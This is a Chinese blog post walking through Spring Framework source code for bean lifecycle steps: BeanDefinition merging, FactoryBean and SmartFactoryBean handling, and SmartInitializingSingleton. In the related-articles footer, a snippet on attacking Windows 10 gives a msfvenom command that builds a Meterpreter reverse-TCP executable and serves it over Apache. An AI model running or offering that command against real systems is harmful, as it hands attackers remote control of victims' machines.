Spring源码分析(四)Bean生命周期源码分析2:合并BeanDefinition、FactoryBean

news/2024/4/30 3:38:13/文章来源:https://blog.csdn.net/weixin_41947378/article/details/127146939

Spring容器启动,扫描得到所有BeanDefinition之后,就会先实例化所有非懒加载的单例Bean的

入口

Spring容器启动刷新的方法里:
org.springframework.context.support.AbstractApplicationContext#refresh
org.springframework.context.support.AbstractApplicationContext#finishBeanFactoryInitialization
org.springframework.beans.factory.config.ConfigurableListableBeanFactory#preInstantiateSingletons
在这里插入图片描述
我们知道beanFacotory就是DefaultListableBeanFactory
在这里插入图片描述
org.springframework.beans.factory.support.DefaultListableBeanFactory#preInstantiateSingletons

public void preInstantiateSingletons() throws BeansException {if (logger.isTraceEnabled()) {logger.trace("Pre-instantiating singletons in " + this);}// Iterate over a copy to allow for init methods which in turn register new bean definitions.// While this may not be part of the regular factory bootstrap, it does otherwise work fine.List<String> beanNames = new ArrayList<>(this.beanDefinitionNames);// Trigger initialization of all non-lazy singleton beans...for (String beanName : beanNames) {//1. 合并BeanDefinitionRootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);//判断BeanDefinition,非抽象,是单例,非懒加载if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {//2. FactoryBean逻辑,第二节提到过if (isFactoryBean(beanName)) {//FACTORY_BEAN_PREFIX="&"Object bean = getBean(FACTORY_BEAN_PREFIX + beanName);if (bean instanceof FactoryBean) {FactoryBean<?> factory = (FactoryBean<?>) bean;boolean isEagerInit;if (System.getSecurityManager() != null && factory instanceof SmartFactoryBean) {...}else {isEagerInit = (factory instanceof SmartFactoryBean &&((SmartFactoryBean<?>) factory).isEagerInit());}if (isEagerInit) {//创建真正的Bean对象(这里是FactoryBean.getObject()对象)getBean(beanName);}}}else {//3. 创建Bean对象getBean(beanName);}}}// 4. 所有非懒加载单例Bean都创建完成后// Trigger post-initialization callback for all applicable beans...for (String beanName : beanNames) {// 从单例池里拿beanName对应的单例Bean(里面实现涉及到循环依赖,以后讲,先简单理解)Object singletonInstance = getSingleton(beanName);// 判断单例Bean是否实现了SmartInitializingSingleton接口// 这个接口也属于Spring生命周期里的一种接口if (singletonInstance instanceof SmartInitializingSingleton) {StartupStep smartInitialize = this.getApplicationStartup().start("spring.beans.smart-initialize").tag("beanName", beanName);SmartInitializingSingleton smartSingleton = (SmartInitializingSingleton) singletonInstance;if (System.getSecurityManager() != null) {...}else {//触发afterSingletonsInstantiated方法smartSingleton.afterSingletonsInstantiated();}smartInitialize.end();}}
}

1. 合并BeanDefinition

应用场景

通过扫描得到所有BeanDefinition之后,就可以根据BeanDefinition创建Bean对象了,但是在Spring中支持父子BeanDefinition,和Java父子类类似,但是完全不是一回事。

BeanDefinition也可以设置成抽象的,这样该BeanDefinition就不会创建Bean实例,可以被其他BeanDefinition继承(不设置抽象也能继承)
在这里插入图片描述
父子BeanDefinition实际用的比较少,使用是这样的,比如:
这么定义的情况下,child是单例Bean:

<bean id="parent" class="com.yth.service.Parent" scope="prototype"/>
<bean id="child" class="com.yth.service.Child"/>

但是这么定义的情况下,child就是原型Bean了:

<bean id="parent" class="com.yth.service.Parent" scope="prototype"/>
<bean id="child" class="com.yth.service.Child" parent="parent"/>

因为child的父BeanDefinition是parent,所以会继承parent上所定义的scope属性。

而在根据child来生成Bean对象之前,需要进行BeanDefinition的合并,得到完整的child的BeanDefinition。

源码分析

org.springframework.beans.factory.support.AbstractBeanFactory#getMergedLocalBeanDefinition

protected RootBeanDefinition getMergedLocalBeanDefinition(String beanName) throws BeansException {// Quick check on the concurrent map first, with minimal locking.// 合并过,就直接返回RootBeanDefinition mbd = this.mergedBeanDefinitions.get(beanName);if (mbd != null && !mbd.stale) {return mbd;}return getMergedBeanDefinition(beanName, getBeanDefinition(beanName));
}protected RootBeanDefinition getMergedBeanDefinition(String beanName, BeanDefinition bd)throws BeanDefinitionStoreException {return getMergedBeanDefinition(beanName, bd, null);
}

mergedBeanDefinitions:合并之后的BeanDefinition Map,value就是RootBeanDefinition
在这里插入图片描述

protected RootBeanDefinition getMergedBeanDefinition(String beanName, BeanDefinition bd, @Nullable BeanDefinition containingBd)throws BeanDefinitionStoreException {synchronized (this.mergedBeanDefinitions) {RootBeanDefinition mbd = null;RootBeanDefinition previous = null;// Check with full lock now in order to enforce the same merged instance.if (containingBd == null) {...}if (mbd == null || mbd.stale) {previous = mbd;// 判断有没有父亲if (bd.getParentName() == null) {// Use copy of given root bean definition.// 没有parent就生成一个新的RootBeanDefinitionif (bd instanceof RootBeanDefinition) {//复制新的mbd = ((RootBeanDefinition) bd).cloneBeanDefinition();}else {//new新的mbd = new RootBeanDefinition(bd);}}else {// Child bean definition: needs to be merged with parent.BeanDefinition pbd;try {// 获取parentName对应的BeanDefinitionString parentBeanName = transformedBeanName(bd.getParentName());if (!beanName.equals(parentBeanName)) {//递归获取父亲的RootBeanDefinitionpbd = getMergedBeanDefinition(parentBeanName);}//如果beanName和parentName一样,则从父亲工厂里获取BeanDefinitionelse {...}}//最终获取不到会抛异常catch (NoSuchBeanDefinitionException ex) {...}// Deep copy with overridden values.// 深拷贝,生成一个RootBeanDefinition// 		先基于父BeanDefinition生成RootBeanDefinitionmbd = new RootBeanDefinition(pbd);//		然后和自己合并,自己优先级更高mbd.overrideFrom(bd);}// Set default singleton scope, if not configured before.if (!StringUtils.hasLength(mbd.getScope())) {...}// A bean contained in a non-singleton bean cannot be a singleton itself.// Let's correct this on the fly here, since this might be the result of// parent-child merging for the outer bean, in which case the original inner bean// definition will not have inherited the merged outer bean's singleton status.if (containingBd != null && !containingBd.isSingleton() && mbd.isSingleton()) {...}// Cache the merged bean definition for the time being// (it might still get re-merged later on in order to pick up metadata changes)if (containingBd == null && isCacheBeanMetadata()) {//保存到mergedBeanDefinitions Mapthis.mergedBeanDefinitions.put(beanName, mbd);}}if (previous != null) {...}return mbd;}
}

真正创建Bean的时候,用的是合并之后的这个Map:mergedBeanDefinitions

2. FactoryBean

在这里插入图片描述

2.1 判断是否是FactoryBean

org.springframework.beans.factory.support.AbstractBeanFactory#isFactoryBean(java.lang.String)

这个方法除了这,其他地方也会掉

public boolean isFactoryBean(String name) throws NoSuchBeanDefinitionException {String beanName = transformedBeanName(name);//先从单例池获取FactoryBean本身的对象Object beanInstance = getSingleton(beanName, false);if (beanInstance != null) {return (beanInstance instanceof FactoryBean);}//没有拿到FactoryBean本身的对象,则根据BeanDefinition对象来判断//	当前容器没有name对应的BeanDefinition,则从父容器获取// No singleton instance found -> check bean definition.if (!containsBeanDefinition(beanName) && getParentBeanFactory() instanceof ConfigurableBeanFactory) {// No bean definition found in this factory -> delegate to parent.return ((ConfigurableBeanFactory) getParentBeanFactory()).isFactoryBean(name);}//拿到合并后的BeanDefinition判断是否是FactoryBeanreturn isFactoryBean(beanName, getMergedLocalBeanDefinition(beanName));
}
protected boolean isFactoryBean(String beanName, RootBeanDefinition mbd) {//根据BeanDefinition的isFactoryBean属性判断Boolean result = mbd.isFactoryBean;if (result == null) {//isFactoryBean属性缓存为空,则直接根据类的类型判断//根据BeanDefinition推测Bean类型(获取BeanDefinition的beanClass属性)Class<?> beanType = predictBeanType(beanName, mbd, FactoryBean.class);//判断是否实现了FactoryBean接口result = (beanType != null && FactoryBean.class.isAssignableFrom(beanType));mbd.isFactoryBean = result;}return result;
}

BeanDefinition里的很多属性,其实是起到缓存的作用,一开始为null也不影响,会去专门解析,然后在保存起来作为缓存使用。

2.2 创建FactoryBean本身的对象

在这里插入图片描述
在这里插入图片描述
getBean源码见2.4(带一点)、或者3(下一章节讲解)。

2.3 SmartFactoryBean

如果我们FactoryBean实现的是SmartFactoryBean接口:
在这里插入图片描述
并重写了isEagerInit方法,返回true:
在这里插入图片描述
那么Spring容器启动的时候,就会把改FactoryBean对应的getObject()方法的对象生成,否则只有getBean的时候才会生成。
在这里插入图片描述
没有调getBean已经有了:
在这里插入图片描述

2.4 FactoryBean的getObject触发时机

FactoryBean对应的getObject对象是通过调容器getBean方法实例化的

  • beanName获取FactoryBean的getObject对象
  • “&” + beanName获取FactoryBean本身的对象

org.springframework.beans.factory.support.AbstractBeanFactory#getBean(java.lang.String)

public Object getBean(String name) throws BeansException {return doGetBean(name, null, null, false);
}
protected <T> T doGetBean(String name, @Nullable Class<T> requiredType, @Nullable Object[] args, boolean typeCheckOnly)throws BeansException {//name有可能是 &xxx 或者 xxx//如果name是&xxx,beanName返回的beanName就是xxx//name如果是别名,beanName就是idString beanName = transformedBeanName(name);Object beanInstance;// Eagerly check singleton cache for manually registered singletons.Object sharedInstance = getSingleton(beanName);if (sharedInstance != null && args == null) {if (logger.isTraceEnabled()) {...}//如果sharedInstance是FactoryBean,那么就调用getObject()返回对象beanInstance = getObjectForBeanInstance(sharedInstance, name, beanName, null);}else {...}return adaptBeanInstance(name, beanInstance, requiredType);
}
//name是&xxx或者xxx
//beanName是xxx
//beanInstance从单例池里拿到的bean
protected Object getObjectForBeanInstance(Object beanInstance, String name, String beanName, @Nullable RootBeanDefinition mbd) {// Don't let calling code try to dereference the factory if the bean isn't a factory.// 判断name是不是带了&符号,是的话就是FactoryBean的引用if (BeanFactoryUtils.isFactoryDereference(name)) {//走到这说明想获取FactoryBean本身if (beanInstance instanceof NullBean) {return beanInstance;}//判断从单例池里拿到的Bean是不是FactoryBeanif (!(beanInstance instanceof FactoryBean)) {throw new BeanIsNotAFactoryException(beanName, beanInstance.getClass());}if (mbd != null) {mbd.isFactoryBean = true;}//是,则直接返回return beanInstance;}//走到这说明想获取的是普通Bean对象,或者FacotryBean的getObject对象// 单例池里的对象不是FactoryBean,则直接返回if (!(beanInstance instanceof FactoryBean)) {//返回普通对象return beanInstance;}Object object = null;if (mbd != null) {mbd.isFactoryBean = true;}else {//先从缓存拿object = getCachedObjectForFactoryBean(beanName);}if (object == null) {// Return bean instance from factory.FactoryBean<?> factory = (FactoryBean<?>) beanInstance;// Caches object obtained from FactoryBean if it is a singleton.if (mbd == null && containsBeanDefinition(beanName)) {mbd = getMergedLocalBeanDefinition(beanName);}boolean synthetic = (mbd != null && mbd.isSynthetic());//核心在这里object = getObjectFromFactoryBean(factory, beanName, !synthetic);}return object;
}

org.springframework.beans.factory.support.FactoryBeanRegistrySupport#getObjectFromFactoryBean

protected Object getObjectFromFactoryBean(FactoryBean<?> factory, String beanName, boolean shouldPostProcess) {if (factory.isSingleton() && containsSingleton(beanName)) {//多线程同时来创建需要控制,保证单例synchronized (getSingletonMutex()) {Object object = this.factoryBeanObjectCache.get(beanName);if (object == null) {//核心在这object = doGetObjectFromFactoryBean(factory, beanName);// Only post-process and store if not put there already during getObject() call above// (e.g. because of circular reference processing triggered by custom getBean calls)Object alreadyThere = this.factoryBeanObjectCache.get(beanName);if (alreadyThere != null) {...}else {//是否要进行后处理,可以发现FactoryBean只会经过“初始化后”的生命周期if (shouldPostProcess) {...}if (containsSingleton(beanName)) {//放到缓存this.factoryBeanObjectCache.put(beanName, object);}}}return object;}}//FactoryBean也支持多例情况else {...}
}
private Object doGetObjectFromFactoryBean(FactoryBean<?> factory, String beanName) throws BeanCreationException {Object object;try {if (System.getSecurityManager() != null) {...}else {//这里调用了FactoryBean的getObject方法object = factory.getObject();}}catch (FactoryBeanNotInitializedException ex) {...}catch (Throwable ex) {...}// Do not accept a null value for a FactoryBean that's not fully// initialized yet: Many FactoryBeans just return null then.if (object == null) {if (isSingletonCurrentlyInCreation(beanName)) {...}object = new NullBean();}return object;
}

3. 创建Bean对象

org.springframework.beans.factory.support.AbstractBeanFactory#getBean(java.lang.String)
下一章节讲。

4. SmartInitializingSingleton

应用场景

定义一个单例Bean的时候,可以实现SmartInitializingSingleton接口,它会在所有非懒加载的单例Bean都创建成功以后触发。注意!!是在所有!
在这里插入图片描述

源码分析

org.springframework.beans.factory.support.DefaultListableBeanFactory#preInstantiateSingletons
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_17643.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RT-Thread信号量

目录 信号量 信号量基本概念 信号量基本概念 信号量的特性 二值信号量的运作机制 计数型信号量的运作机制 信号量相关接口 信号量控制块、 创建信号量 删除信号量 初始化信号量 脱离信号量 释放信号量 获取信号量 无等待获取信号量 使用场合 线程同步 锁 中断与…

单片机控制发光二极管的显示(2)

我们今天来说说单片机是如何控制发光二极管的。 如果P0口作为通用I/O使用,由于漏极开路&#xff0c;需要外接上拉电阻&#xff0c;而P1~P3口内部已有30k0左右的上拉电阻。下面来讨论PI~P3口如何与LED发光二极管的驱动连接问题。 使用单片机的并行端口P1 ~P3直接驱动发光二极管&…

创新实践 | SaaS增长新趋势:产品驱动增长PLG(下)

SaaS产品增长第一步&#xff0c;一定是找方向&#xff0c;SaaS产品的北极星指标处于商业目标&#xff0c;用户价值&#xff0c;和战略选择的交点上&#xff0c;且一般落实在功能使用量上。与To C产品的AARRR略有不同&#xff0c;To B SaaS产品驱动增长包含六大杠杆&#xff0c;…

java基于springboot+vue的新冠肺炎疫苗接种管理系统 element

新冠肺炎疫苗接种管理系统的开发运用springboot技术,MIS的总体思想,以及MYSQL等技术的支持下共同完成了该系统的开发,实现了新冠肺炎疫苗接种管理的信息化,使用户体验到更优秀的新冠肺炎疫苗接种管理系统,管理员管理操作将更加方便,实现目标。 环境需要 1.运行环境&#xff1a…

LVC | 一种简单的小样本目标检测方法

欢迎关注我的公众号 [极智视界]&#xff0c;获取我的更多笔记分享 大家好&#xff0c;我是极智视界&#xff0c;本文解读一下 Label, Verify, Correct (LVC)&#xff1a;一种简单的小样本目标检测方法。 本文的目标是小样本目标检测 (FSOD)&#xff0c;即在给定少量训练实例的…

谷歌翻译 失效/无法使用方法

谷歌2022年9月26日左右停止了在中国地区的谷歌翻译服务包含 translate.google.cn 与 translate.googleapi.com&#xff0c;其给出原因为“使用量低” 来源 techcrunch 在论坛中找到了前段时间谷歌翻译工作人员回复&#xff0c;翻译成中文csdn说辱华&#xff0c;不给通过 这个回…

msf win10系统攻击

kali ip 192.168.141.129 windwos10 192.168.141.128 一、木马生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST本机ip LPORT本机端口 -f exe > shell.exe //保存到跟目录 二、开启apach服务 service apache2 start 查看状态 ervice apache2 status 接下来把我…

java基于SpringBoot+Vue+nodejs的个人家庭理财记账本管理系统 element

家庭理财记账系统主要是为了提高用户的工作效率和更方便快捷的满足用户,更好存储所有数据信息及快速方便的检索功能,对家庭理财记账系统的各个模块是通过许多今天的发达家庭理财记账系统做出合理的分析来确定考虑用户的可操作性,遵循开发的系统优化的原则,经过全面的调查和研究…

接收节点无线广播发送的数据,并printf打印出来(含核心代码)_物联网挑战赛第四届第一题

目录 题目 赛题 格式说明 计分规则 评分步骤 题目解析 右上角节点代码解析 其余11个节点代码解析 比赛时的思考 具体解析 核心代码 右上角节点代码 其余11个节点代码 题目 赛题 数据广播节点—> 如图所示&#xff0c;平台节点不安装天线&#xff0c;12 个节点 …

详解库存监控 到货提醒步骤

首先看看具体监控效果&#xff0c;在浏览器的书签栏增加一个库存监控提醒的按钮&#xff0c;点击该按钮即启动库存监控提醒项目。 项目运行时&#xff0c;自动打开指定的网址&#xff0c;并从事先准备好的txt文件中读取型号&#xff0c;输入到页面上的型号搜索框中&#xff0c…

java基于springboot+element的实现医院预约挂号系统 nodejs

网络的广泛应用给生活带来了十分的便利。所以把医院预约挂号管理与现在网络相结合,利用java技术建设医院预约挂号系统,实现医院预约挂号的信息化。则对于进一步提高医院预约挂号管理发展,丰富医院预约挂号管理经验能起到不少的促进作用。 医院预约挂号系统能够通过互联网得到广…

OPENCV的GUI特性:图像入门

我们先来理解一下什么是GUI特性&#xff1b;一起来学习摘自百度词条的信息&#xff1a; 图形用户界面&#xff08;Graphical User Interface&#xff0c;简称 GUI&#xff0c;又称图形用户接口&#xff09;是指采用图形方式显示的计算机操作用户界面。 图形用户界面是一种人与…

模块化:AMD规范

之前在《模块化&#xff1a;CommonJS规范》文中对CMD规范进行了介绍&#xff0c;并给出了服务端和浏览器端基于CommonJS模块化规范构建项目和模块化开发的示例demo。严格来讲&#xff0c;CommonJS这种模块化规范更加适用于服务器端编程&#xff0c;由于是同步的加载方式&#x…

ElasticSearch_02_ElastisSearch的基本语法使用

系列文章目录 文章目录系列文章目录前言一、基本语法使用1.1 _search接口获取所有数据1.2 文档操作插入文档查询文档修改文档查询所有的索引和查询所有的数据删除文档二、各种各样的查询条件2.1 查询所有2.2 值匹配和输出结构按price倒序输出2.3 仅输出需要的数量2.4 仅输出需要…

论文(一):Revisiting multiple instance neural networks

Revisiting multiple instance neural networks 回顾多示例神经网络 1、Abstract ​ 近年来&#xff0c;神经网络和多实例学习(MIL)都是人工智能相关研究领域的热门课题。深度神经网络在监督学习问题上取得了巨大的成功&#xff0c;而MIL作为一种典型的弱监督学习方法&#…

J2EE 知识点总结_上

J2EE 知识点总结_上基础概念数组选择排序 &#xff1a;交换排序 &#xff1a;插入排序面向对象重载&#xff08;**Overload**&#xff09;的概念构造器的作用&#xff1a;JavaBean多态性instanceof 操作符操作符与equals方法&#xff1a;包装类(Wrapper)的使用垃圾回收机制关键…

RLE算法机制、缺点及哈夫曼算法和莫尔斯编码

CSDN话题挑战赛第2期 参赛话题&#xff1a;学习笔记 目录 一、RLE算法机制 二、RLE算法的缺点 三、哈夫曼算法和莫尔斯编码 一、RLE算法机制 对 AAAAAABBCDDEEEEEF 这17个半角字符的文件&#xff08;文本文件&#xff09;进行压缩。虽然这些文字没有什么实际意义&#xff0…

Spring源码分析(三)Bean生命周期源码解析1:扫描生成BeanDefinition

Spring最重要的功能就是帮助程序员创建对象&#xff08;也就是IOC&#xff09;&#xff0c;而启动Spring就是为创建Bean对象做准备&#xff0c;如果先分析Spring启动过程的源码&#xff0c;会比较难理解&#xff0c;因为你可能不知道为什么要做这些准备动作&#xff0c;所以我们…

Shiro知识总结二

3. 与 Spring Boot 整合 3.1 框架整合 依赖 <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-thymeleaf</artifactId></dependency><dependency><groupId>o…

java基于springboot+vue+nodejs的高校学生健康档案管理系统 element

随着信息技术和网络技术的飞速发展,人类已进入全新信息化时代,传统管理技术已无法高效,便捷地管理信息。为了迎合时代需求,优化管理效率,各种各样的管理系统应运而生,各行各业相继进入信息管理时代,高校学生健康档案管理系统就是信息时代变革中的产物之一。 在经济快速发展的带…